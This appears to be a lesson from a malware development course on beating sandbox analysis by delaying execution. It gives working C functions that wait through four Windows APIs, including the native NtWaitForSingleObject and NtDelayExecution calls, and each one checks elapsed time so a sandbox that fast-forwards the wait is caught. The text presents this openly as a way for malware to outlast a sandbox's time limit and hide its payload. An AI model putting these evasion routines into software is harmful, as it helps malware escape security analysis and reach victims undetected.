74. Anti-Virtual Environments - Multiple Delay Execution Techniques
Anti-Virtual Environments - Multiple Delay Execution Techniques
Introduction
Delay execution is a common technique utilized to bypass sandboxed environments. Sandboxes typically have time constraints that prevent them from analyzing a binary for a long duration. Therefore, malware can introduce long pauses in code execution that forces the sandbox to terminate before being able to analyze the binary.
A sandbox with a two-minute analysis limit will not be able to analyze a payload if the malware sample executes a wait function for three minutes before decrypting and executing it.
This module will introduce functions that can be used to delay the execution of the payload if a sandbox environment is detected.
Detecting Fast-Forwards
Several malware samples have taken advantage of delays in execution, so the majority of sandboxes have implemented mitigations to counter execution delays. Such mitigations may involve fast-forwarding the delay durations, either by changing the parameters passed through API hooking or via other approaches. Verifying that the delay has taken place is essential, and can be achieved using the WinAPI, GetTickCount64
.
The delay function then would look something like the following.
BOOL DelayFunction(DWORD dwMilliSeconds){
DWORD T0 = GetTickCount64();
// The code needed to delay the execution for 'dwMilliSeconds' ms
DWORD T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayFunction' succeeded
if ((DWORD)(T1 - T0) < dwMilliSeconds)
return FALSE;
else
return TRUE;
}
Delaying Execution Via WaitForSingleObject
The WaitForSingleObject
WinAPI has been used throughout this course to wait for a specific object to be in a signaled state or for a time-out to occur. In this section, WaitForSingleObject
will be used to wait for an empty event created using CreateEvent
, meaning it will wait for a time-out to occur.
The DelayExecutionVia_WFSO
function has one parameter, ftMinutes
, that represents the time to delay the execution in minutes. The function returns TRUE
if WaitForSingleObject
succeeded in delaying the execution for the specified duration.
BOOL DelayExecutionVia_WFSO(FLOAT ftMinutes) {
// converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
DWORD _T0 = NULL,
_T1 = NULL;
_T0 = GetTickCount64();
// Sleeping for 'dwMilliSeconds' ms
if (WaitForSingleObject(hEvent, dwMilliSeconds) == WAIT_FAILED) {
printf("[!] WaitForSingleObject Failed With Error : %d \n", GetLastError());
return FALSE;
}
_T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_WFSO' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
CloseHandle(hEvent);
return TRUE;
}
Delaying Execution Via MsgWaitForMultipleObjectsEx
Another WinAPI that can be used for execution delays is the MsgWaitForMultipleObjectsEx
WinAPI. It essentially fulfills that same task as WaitForSingleObject
and was also demonstrated in previous modules.
The DelayExecutionVia_MWFMOEx
function uses the same logic shown in the previous section except here it utilizes the MsgWaitForMultipleObjectsEx
WinAPI. The function has one parameter, ftMinutes
, that represents the time to delay the execution in minutes. The function returns TRUE
if MsgWaitForMultipleObjectsEx
succeeded in delaying the execution for the specified duration.
BOOL DelayExecutionVia_MWFMOEx(FLOAT ftMinutes) {
// Converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
DWORD _T0 = NULL,
_T1 = NULL;
_T0 = GetTickCount64();
// Sleeping for 'dwMilliSeconds' ms
if (MsgWaitForMultipleObjectsEx(1, &hEvent, dwMilliSeconds, QS_HOTKEY, NULL) == WAIT_FAILED) {
printf("[!] MsgWaitForMultipleObjectsEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
_T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_MWFMOEx' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
CloseHandle(hEvent);
return TRUE;
}
Delaying Execution Via NtWaitForSingleObject
Code execution delays can also be done via the NtWaitForSingleObject syscall. NtWaitForSingleObject
is the native API version of WaitForSingleObject
and performs the same functionality. NtWaitForSingleObject
is shown below.
NTSTATUS NtWaitForSingleObject(
[in] HANDLE Handle, // Handle to the wait object
[in] BOOLEAN Alertable, // Whether an alert can be delivered when the object is waiting
[in] PLARGE_INTEGER Timeout // Pointer to LARGE_INTEGER structure specifying time to wait for
);
The wait time for NtWaitForSingleObject
is specified in 100-nanosecond negative intervals which are often referred to as ticks
. A single tick is equivalent to 0.0001 milliseconds. The value passed to the syscall via the Timeout
parameter should be the negative value of dwMilliSeconds x 10000
, where dwMilliSeconds
is the time to wait in milliseconds.
The DelayExecutionVia_NtWFSO
function below uses the NtWaitForSingleObject
syscall to delay the execution for a given time specified by the ftMinutes
parameter. ftMinutes
represents the time to delay the execution in minutes. It returns TRUE
if NtWaitForSingleObject
succeeds in delaying the execution for the specified duration.
typedef NTSTATUS (NTAPI* fnNtWaitForSingleObject)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
BOOL DelayExecutionVia_NtWFSO(FLOAT ftMinutes) {
// Converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
LONGLONG Delay = NULL;
NTSTATUS STATUS = NULL;
LARGE_INTEGER DelayInterval = { 0 };
fnNtWaitForSingleObject pNtWaitForSingleObject = (fnNtWaitForSingleObject)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtWaitForSingleObject");
DWORD _T0 = NULL,
_T1 = NULL;
// Converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = - Delay;
_T0 = GetTickCount64();
// Sleeping for 'dwMilliSeconds' ms
if ((STATUS = pNtWaitForSingleObject(hEvent, FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
_T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtWFSO' succeeded
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
CloseHandle(hEvent);
return TRUE;
}
Delaying Execution Via NtDelayExecution
The last method in this module to delay execution is using the NtDelayExecution syscall. The name makes it obvious that the syscall is made for delaying the execution of code for synchronization. NtDelayExecution
is similar to NtWaitForSingleObject
with the exception that an object handle is not needed to wait on; its functionality is similar to Sleep
, suspending the current code's execution cycle. NtDelayExecution
is shown below.
NTSTATUS NtDelayExecution(
IN BOOLEAN Alertable, // Whether an alert can be delivered when the object is waiting
IN PLARGE_INTEGER DelayInterval // Pointer to LARGE_INTEGER structure specifying time to wait for
);
NtDelayExecution
uses ticks for its DelayInterval
parameter.
The DelayExecutionVia_NtDE
function below uses the NtDelayExecution
syscall to delay execution for the given time ftMinutes
which represents the time to wait for in minutes. It returns TRUE
if NtDelayExecution
succeeds in delaying the execution for the specified duration.
typedef NTSTATUS (NTAPI *fnNtDelayExecution)(
BOOLEAN Alertable,
PLARGE_INTEGER DelayInterval
);
BOOL DelayExecutionVia_NtDE(FLOAT ftMinutes) {
// Converting minutes to milliseconds
DWORD dwMilliSeconds = ftMinutes * 60000;
LARGE_INTEGER DelayInterval = { 0 };
LONGLONG Delay = NULL;
NTSTATUS STATUS = NULL;
fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
DWORD _T0 = NULL,
_T1 = NULL;
// Converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = - Delay;
_T0 = GetTickCount64();
// Sleeping for 'dwMilliSeconds' ms
if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
printf("[!] NtDelayExecution Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
_T1 = GetTickCount64();
// Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtDE' succeeded, otherwize it failed
if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
return TRUE;
}
Demo
The image below shows the techniques described in this module. The delay for execution is set to 6 seconds or 0.1 minute(s).
